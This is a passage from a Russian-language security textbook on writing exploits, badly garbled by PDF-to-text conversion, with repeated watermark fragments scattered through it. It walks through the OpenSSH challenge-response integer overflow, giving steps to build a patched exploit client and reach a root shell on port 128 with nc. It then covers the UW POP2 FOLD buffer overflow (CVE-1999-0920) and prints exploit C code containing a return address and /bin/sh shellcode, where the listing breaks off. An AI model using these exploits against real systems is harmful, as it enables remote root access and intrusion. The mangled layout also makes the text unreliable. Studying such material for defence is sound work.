книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
Пример: уязвимость OpenSSH из за переполнения целого в процедуре оклика/отзыва 571 |
|
to |
|
|
|
|
|
|
|||||||||||
w Click |
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||
|
|
|
|
-xchíîéa |
|
функцией xmalloc в строке 3. Если значение nresp окажется велико, напри- |
|
|
e |
|
||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
мер, 0x40000400, то возникнет переполнение целого и xmalloc выделит всего 4096 байтов. Затем OpenSSH попытается записать nresp указателей в выделенный массив (строки 4-6), что приведет к затиранию кучи.
Детали эксплойта
Реализация эксплойта для этой уязвимости тривиальна. В OpenSSH используются многообразные указатели на функции очистки. Все они вызывают код, размещенный в куче. Поместив shell-код по любому из этих адресов, можно заставить программу его выполнить и, стало быть, получить оболочку с правами root.
Пример вывода от программы sshd, запущенной в режиме отладки (sshd -dd):
debug1: auth2_challenge_start: trying authentication method 'bsdauth' Postponed keyboard-interactive for test from 127.0.0.1 port 19170 ssh2 buffer_get: trying to get more bytes 4 than in buffer 0
debug1: Calling cleanup 0x62000(0x0)
Таким образом, нам достаточно разместить свой shell-код по адресу 0x62000. Это совсем просто, нужно лишь записать его в кучу, когда буфер переполнится, а затем скопировать куда нужно.
Кристоф Девин (Christophe Devine) (devine@iie.cnam.fr) написал заплату для клиента OpenSSH, которая включает и код эксплойта. Его заплата и инструкции к ней прилагаются:
1 1. Загрузить openssh-3.2.2p1.tar.gz и раскрыть архив
2
3 ~ $ tar -xvzf openssh-3.2.2p1.tar.gz
4
5 2. Наложить приведенную ниже заплату, выполнив команды:
6
7 ~/openssh-3.2.2p1 $ patch < path_to_diff_file
8
9 3. Откомпилировать залатанного клиента
10
11 ~/openssh-3.2.2p1 $ ./configure && make ssh
12
13 4. Запустить "исправленный" ssh:
14
15 ~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
16 17 5. Если эксплойт сработал, можно соединиться с портом 128 с другого
терминала:
18
19 ~ $ nc localhost 128
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
P |
D |
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
NOW! |
r |
|
|
|
|
|
NOW! |
r |
||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
574 Глава 11. Написание эксплойтов II |
|
|
|
|
to |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
|
w |
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
o |
|
w Click |
|
|
|
|
|
|
o |
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
Это эксплойт присваивает переменной nresp значение 0x40000400, застав--x cha |
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
ëÿÿ malloc выделить 4096 байтов памяти. При этом в цикл копируется гораздо |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
больше данных, которые выходят |
за границу буфера и затирают кучу. |
|
|
|
|
|
|
В OpenSSH есть много указателей на функции, которые находятся в куче вслед за выделенным буфером. Эксплойт копирует shell-код непосредственно в кучу в надежде, что SSH выполнит его, когда вызовет функцию очистки, а так оно чаще всего и бывает.
Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920
В версии 4.4 и более ранних POP2-сервера разработки Вашингтонского университета имеется ошибка, связанная с переполнением буфера. Атака на нее позволяет получить удаленный доступ к системе от имени пользователя «nobody».
Детали уязвимости
Ошибка допущена в следующем фрагменте программы:
1 short c_fold (char *t)
2 {
3unsigned long i,j;
4char *s, tmp[TMPLEN];
5if (!(t && *t)) { // проверим, что аргумент задан
6puts("- Не задано имя почтового яшика\015");
7return DONE;
8}
9// уничтожить старый поток
10if (stream && nmsgs) mail_expunge (stream);
11nmsgs = 0; // больше нет сообщений
12if (msg) fs_give ((void **) &msg);
13// не разрешаем прокси покинуть IMAP
14if (stream && stream->mailbox &&
|
(s = strchr (stream->mailbox,'}'))) { |
|
15 |
strncpy(tmp,stream->mailbox,i = (++s – stream->mailbox)); |
|
16 |
strcpy (tmp+i,t); |
// добавить почтовый ящик |
17t = tmp;
18}
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920 575 |
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
-xcha |
|
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||||
|
|
|
|
|
|
|
В строке 16 вызывается функция strcpy, которая копирует данные, посту- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
пившие от пользователя (на них указывает переменная t), в буфер tmp. Åñëè |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
злонамеренный пользователь пошлет POP2-серверу команду FOLD длины, |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
большей чем TMPLEN, то произойдет переполнение стека, и, значит, откры- |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
вается возможность для удаленной атаки. Чтобы воспользоваться этой уязви- |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
мостью, противник должен убедить POP2-сервер соединиться с доверенным |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
IMAP-сервером, на котором есть действующая учетная запись. После того |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
как такой «анонимный прокси» организован, можно отправлять команду |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
FOLD. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
После переполнения в стеке оказываются посланные пользователем дан- |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
ные, которые затирают сохраненное значение регистра EIP. Подготовив |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
строку, которая содержим команды NOP, shell-код и адрес возврата, атакую- |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
щий сможет получить удаленный доступ к системе с правами пользователя |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
«nobody». Ниже приведен код эксплойта. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
1 |
|
#include <stdio.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
2 |
|
#include <errno.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
3 |
|
#include <unistd.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
4 |
|
#include <string.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
5 |
|
#include <stdlib.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
6 |
|
#include <netdb.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
7 |
|
#include <netinet/in.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
8 |
|
#include <sys/socket.h> |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
9 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
10 |
|
#define RET 0xbffff64e |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
11 |
|
#define max(a, b) ((a) > (b) ? (a):(b)) |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
12 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
13 int shell(int);
14int imap_server();
15void usage(char *);
16int connection(char *);
17int get_version(char *);
18unsigned long resolve(char *);
20 char shellcode[] =
21"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
22"\x89\xe3\x52\x54\x54\x59\x6a\x0b\x58\xcd\x80";
24 struct platform {
25char *version;
26int offset;
27int align;
28};
29
30 struct platform targets[4] =
31 {